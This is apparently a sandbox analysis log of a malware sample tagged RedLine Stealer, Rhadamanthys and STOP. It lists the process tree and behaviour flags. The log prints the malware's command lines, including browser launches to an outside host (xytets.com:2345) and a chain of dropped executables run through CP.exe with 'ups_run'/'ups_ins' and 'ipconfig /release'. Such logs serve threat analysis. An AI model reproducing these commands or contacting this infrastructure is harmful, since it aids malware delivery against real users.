PID 4536 wrote to memory of 2612	4536	msedge.exe	93
PID 4536 wrote to memory of 2612	4536	msedge.exe	93
PID 4536 wrote to memory of 5016	4536	msedge.exe	94
PID 4536 wrote to memory of 5016	4536	msedge.exe	94
PID 4536 wrote to memory of 4048	4536	msedge.exe	95
PID 4536 wrote to memory of 4048	4536	msedge.exe	95
PID 4536 wrote to memory of 2620	4536	msedge.exe	96
PID 4536 wrote to memory of 2620	4536	msedge.exe	96
PID 4536 wrote to memory of 2620	4536	msedge.exe	96
PID 4536 wrote to memory of 3212	4536	msedge.exe	110
PID 4536 wrote to memory of 3212	4536	msedge.exe	110
PID 4536 wrote to memory of 4560	4536	msedge.exe	99
PID 4536 wrote to memory of 4560	4536	msedge.exe	99
PID 4536 wrote to memory of 2176	4536	msedge.exe	100
PID 4536 wrote to memory of 4620	4536	msedge.exe	101
PID 4536 wrote to memory of 2176	4536	msedge.exe	100
PID 4536 wrote to memory of 4620	4536	msedge.exe	101
PID 4536 wrote to memory of 800	4536	msedge.exe	102
PID 4536 wrote to memory of 3220	4536	msedge.exe	104
PID 2480 wrote to memory of 3800	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	105
PID 800 wrote to memory of 4736	800	msedge.exe	107
PID 4536 wrote to memory of 732	4536	msedge.exe	108
PID 4536 wrote to memory of 732	4536	msedge.exe	108
PID 948 wrote to memory of 3212	948	hczusmkfcu.exe	110
PID 4536 wrote to memory of 1800	4536	msedge.exe	113
PID 4536 wrote to memory of 1800	4536	msedge.exe	113
PID 4536 wrote to memory of 2304	4536	msedge.exe	114
PID 4536 wrote to memory of 2304	4536	msedge.exe	114
PID 4536 wrote to memory of 4120	4536	msedge.exe	115
PID 4536 wrote to memory of 4120	4536	msedge.exe	115
PID 4536 wrote to memory of 2684	4536	msedge.exe	116
PID 4536 wrote to memory of 2684	4536	msedge.exe	116
PID 2480 wrote to memory of 3508	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	117
PID 2480 wrote to memory of 4128	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	121
PID 2212 wrote to memory of 4168	2212	zurpjhezwu.exe	123
PID 2480 wrote to memory of 2192	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	126
PID 2480 wrote to memory of 1936	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	130
PID 1716 wrote to memory of 3604	1716	trmjebwurm.exe	132
PID 2480 wrote to memory of 3384	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	135
PID 2480 wrote to memory of 4568	2480	2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe	139
PID 2396 wrote to memory of 4716	2396	wrdbwtolge.exe	141

C:\Users\Admin\AppData\Local\Temp\2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-04_db2f575b77b11ee4cd4e4380f937691d_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2dc,0x2e0,0x2e4,0x2d8,0x340,0x7fffe9a3c188,0x7fffe9a3c194,0x7fffe9a3c1a0
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,12238200724700225998,10033250538021446663,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
      4⤵
      System Time Discovery
      PID:1552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1748,i,13400818639381427306,13740667568669010499,262144 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=2020 /prefetch:2
      4⤵
      PID:3436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2448,i,8019155126800211912,7645778941056153769,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=2660 /prefetch:13
      4⤵
      PID:2024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3500,i,16945515640790333629,11411643435807328892,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:2192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3616,i,15561890901200054906,11415643884825841480,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
      4⤵
      PID:3428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,8811108191289111537,4023381195525753655,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:1
      4⤵
      PID:1536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4244,i,4074234274111211309,15747029531514201098,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:9
      4⤵
      PID:2612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4284,i,9692960367386680211,621598271947273540,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:9
      4⤵
      PID:5016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4248,i,8981512130851492486,2101060014907586085,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:1
      4⤵
      PID:4048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4472,i,11284624870325862940,6751102228117749226,2097152 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4900 /prefetch:1
      4⤵
      PID:2620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3472,i,17019167351011546551,16666433202266575642,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:14
      4⤵
      PID:3212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3536,i,5816287317586235200,153049268825708288,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4536 /prefetch:14
      4⤵
      PID:4560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3572,i,54829722991993364,16314674945641201912,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:14
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5716,i,9922908117971487700,11998772157543534151,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:14
      4⤵
      PID:4620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,15869715781443456548,6164908300340247235,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1128
        5⤵
        
        PID:4736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,14226592848446919875,10388766876158248515,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
      4⤵
      PID:2460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6436,i,14226592848446919875,10388766876158248515,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:14
      4⤵
      PID:3220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6432,i,471953004307686551,6141630596621522993,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:14
      4⤵
      PID:732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6952,i,4238169244343108649,9605051892518456076,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6956 /prefetch:14
      4⤵
      PID:1800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7108,i,203273227635514120,15437888849991389761,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
      4⤵
      PID:2304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6960,i,11678024121577751992,17477542444939186947,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:14
      4⤵
      PID:4120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7092,i,2019790488887165310,1617008031276072830,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=7072 /prefetch:14
      4⤵
      PID:2684
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4256,i,7997867739533197567,1232436085665866884,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
      4⤵
      PID:3804
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4260,i,12448933571340823266,13842487924088618333,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
      4⤵
      PID:4692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4328,i,1551420426042438526,6151907498835931348,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:14
      4⤵
      PID:1204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5796,i,14536587135593676286,10619673620401661642,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
      4⤵
      PID:2700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5560,i,4049593712958822626,2142592522156775038,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:14
      4⤵
      PID:732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5840,i,5154937405986585358,2440078608163931645,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:14
      4⤵
      PID:2356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6940,i,14155615275049124495,3134093470873512985,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:14
      4⤵
      PID:920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4720,i,15809229218776412013,12983147381826948934,262144 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:10
      4⤵
      PID:4760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6528,i,1822846772298273119,6080105019467229417,524288 --field-trial-handle=2024,i,9938370602995604109,12192836841135550134,262144 --variations-seed-version --mojo-platform-channel-handle=3248 /prefetch:14
      4⤵
      PID:3952
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:4144
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hczusmkfcu.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3800
- - C:\Temp\hczusmkfcu.exe
    C:\Temp\hczusmkfcu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3212
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2624
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hczusmkfcu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3508
- - C:\Temp\i_hczusmkfcu.exe
    C:\Temp\i_hczusmkfcu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2376
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zurpjhezwu.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4128
- - C:\Temp\zurpjhezwu.exe
    C:\Temp\zurpjhezwu.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4168
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zurpjhezwu.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2192
- - C:\Temp\i_zurpjhezwu.exe
    C:\Temp\i_zurpjhezwu.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1972
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\trmjebwurm.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1936
- - C:\Temp\trmjebwurm.exe
    C:\Temp\trmjebwurm.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1716
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3604
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_trmjebwurm.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3384
- - C:\Temp\i_trmjebwurm.exe
    C:\Temp\i_trmjebwurm.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2624
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\wrdbwtolge.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4568
- - C:\Temp\wrdbwtolge.exe
    C:\Temp\wrdbwtolge.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2396
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4716
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3652
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_wrdbwtolge.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1268
- - C:\Temp\i_wrdbwtolge.exe
    C:\Temp\i_wrdbwtolge.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lgaytqljdb.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:2992
- - C:\Temp\lgaytqljdb.exe
    C:\Temp\lgaytqljdb.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4780
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4020
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4752
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lgaytqljdb.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1680
- - C:\Temp\i_lgaytqljdb.exe
    C:\Temp\i_lgaytqljdb.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:912
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\vqoigaysql.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3128
- - C:\Temp\vqoigaysql.exe
    C:\Temp\vqoigaysql.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4136
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:1812
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:384
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_vqoigaysql.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4636
- - C:\Temp\i_vqoigaysql.exe
    C:\Temp\i_vqoigaysql.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kicavsqkfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3928
- - C:\Temp\kicavsqkfd.exe
    C:\Temp\kicavsqkfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4144
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5080
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2068
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kicavsqkfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3728
- - C:\Temp\i_kicavsqkfd.exe
